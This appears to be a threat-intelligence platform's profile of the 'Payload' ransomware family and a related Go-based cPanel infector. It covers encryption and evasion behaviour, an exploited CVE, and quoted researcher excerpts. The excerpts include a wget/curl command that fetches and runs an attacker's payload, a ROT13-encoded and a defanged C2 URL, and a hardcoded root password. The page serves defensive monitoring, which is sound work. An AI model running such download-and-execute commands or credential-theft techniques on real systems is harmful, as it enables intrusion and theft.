Loading malware…
Payload is a cross-platform ransomware family first observed in February 2026, with Windows and Linux variants, including a Linux ELF build tailored for VMware ESXi environments. It has been associated with an emerging extortion operation that has targeted mid-to-large organizations across multiple regions, with reporting indicating activity in sectors such as healthcare, telecommunications, finance, logistics, real estate, energy, agriculture, manufacturing, and other enterprise environments. Public reporting consistently characterizes it as an offline ransomware family whose encryption workflow does not require command-and-control interaction for key exchange.
On Windows, Payload encrypts files using ChaCha20 with per-file Curve25519 ECDH-derived keys, renames encrypted data with a .payload extension, and drops ransom notes branded as Payload. The Windows variant supports extensive operator-controlled execution options, can relaunch itself in the background, enforces single-instance execution with a mutex, and uses multithreaded processing to accelerate encryption. It can enumerate local drives and, in some reports, network-accessible shares, while excluding selected files and directories to reduce the chance of destabilizing the host before encryption completes.
Payload incorporates substantial anti-recovery and defense-evasion functionality. Reported behaviors include deleting Volume Shadow Copies, clearing Windows event logs, patching ETW-related functions in memory to reduce telemetry, terminating backup, database, security, and productivity services and processes, lowering shutdown priority, emptying the Recycle Bin, and self-deleting through NTFS alternate data stream techniques. Analyses also note dynamic or low-level API usage and CPU feature detection to select optimized ChaCha20 implementations.
The Linux variant targets VMware ESXi by parsing virtual machine inventory data, identifying datastore and VM disk paths, powering off running virtual machines, and encrypting large virtual disk files. Reported implementations use partial in-place encryption of large files, multithreaded workers, runtime string decryption, and anti-debugging checks based on process tracing status. Some analyses describe replacement of the ESXi web interface welcome text with a ransom message after encryption.
Across variants, Payload has been reported to append structured metadata to encrypted files and to use obfuscation around embedded strings, ransom-note content, and footer data. Multiple analyses assess the family as technically mature and note similarities to Babuk-derived tradecraft, while public claims that it operates as a ransomware-as-a-service program remain unverified.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Attackers are exploiting cPanel flaw CVE-2026-41940 to install the Filemanager backdoor and gain unauthorized admin access... CVE-2026-41940 is an authentication bypass flaw affecting cPanel and WHM versions after 11.40. | Researchers also uncovered a new Go-based malware called “Payload,” which installs SSH keys, malicious PHP and JavaScript code, steals credentials, and sends stolen data to attackers through Telegram before deploying a remote-control trojan named Filemanager.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Researchers also uncovered a new Go-based malware called “Payload,” which installs SSH keys, malicious PHP and JavaScript code, steals credentials, and sends stolen data to attackers through Telegram before deploying a remote-control trojan named Filemanager.
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Researchers discovered a new Go-based malware called “Payload,” which installs SSH keys...
Modify ROOT password root:123Qwe123C Implant SSH public key ssh-ed25519 ... cpanel-updater
修该密码 & 植入SSH 公钥,对应的处理函数分别为main_changeRootPassword和main_installSSHKey... 植入SSH 公钥 ssh-ed25519 ... cpanel-updater
CVE-2026-41940 is a high-severity unauthenticated authentication bypass vulnerability affecting cPanel & WHM... an attacker can remotely bypass authentication and take over the cPanel / WHM control panel, allowing an unauthenticated remote attacker to gain administrator privileges on the affected server.
Researchers discovered a new Go-based malware called “Payload,” which installs SSH keys...
服务器地址 uggcf://jearq.pbz/ybt.cuc?g=3 使用ROT13编码... 该文件由2部分组成... 从 </script>*/ 之后为混淆的恶意代码。混淆方式为简单的字串xor拼接混淆... 去混淆后为 str_rot13
Written in Go and likely generated with AI assistance, the malware changes root passwords, installs SSH keys, deploys PHP webshells, injects malicious JavaScript into cPanel login pages, steals credentials, and exfiltrates sensitive data.
The login.js ... steal the user's username, password, User-Agent, and current URL during login, and sends this sensitive data via an AJAX request to a remote server controlled by the attackers.
The login.js... uses code snippets to steal the user's username, password, User-Agent, and current URL during login, and sends this sensitive data via an AJAX request to a remote server controlled by the attackers.
Its main functions are: implanting an SSH public key, malicious PHP, and JS code into the compromised cPanel system, stealing login credentials, sending the stolen information back to a Telegram group controlled by the attackers
The infector collects sensitive information from the compromised system, including bash history, ssh data, device information, database passwords, Valiases configuration, etc., and sends it back to the hacker's server.
Written in Go and likely generated with AI assistance, the malware changes root passwords, installs SSH keys, deploys PHP webshells, injects malicious JavaScript into cPanel login pages, steals credentials, and exfiltrates sensitive data.
The login.js ... steal the user's username, password, User-Agent, and current URL during login, and sends this sensitive data via an AJAX request to a remote server controlled by the attackers.
The attackers also used Telegram bots as a backup channel to receive stolen information.
The C2 responds with a JSON object... reports key parameters... back to the C2 address https://wrned.]com/api.php?t=3&c=1 ... sends this sensitive data via an AJAX request to a remote server controlled by the attackers.
sending the stolen information back to a Telegram group controlled by the attackers
Its function is to request a malicious payload named Update from the download server cp.dene.[de.com , and run it continuously in the background using the nohup command... wget -q -O "$F" 'https://cp.dene.[de.com/Update' ... || curl -sk -o "$F" 'https://cp.dene.[de.com/Update'
18 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
11 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An emerging or returning ransomware group identified in Halcyon’s Q2 2026 reporting.
Payload is a Windows-targeting ransomware family that encrypts files and appends the .payload extension, drops a ransom note named RECOVER_payload.txt, deletes shadow copies, clears event logs, terminates backup/database/office processes and services, and uses Curve25519 ECDH with ChaCha20 for per-file encryption.
Windows ransomware family that encrypts files with ChaCha20 using a fresh per-file Curve25519 ECDH-derived key, appends the .payload extension, drops RECOVER_payload.txt ransom notes, and employs anti-forensics including ETW patching, VSS deletion, Windows Event Log clearing, and process/service termination.
A Go-based malware infector used in attacks exploiting cPanel CVE-2026-41940. It implants SSH keys, malicious PHP and JavaScript, changes root passwords, injects webshells and login-page JavaScript, steals credentials, exfiltrates data via Telegram, and deploys the Filemanager trojan for persistent access.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.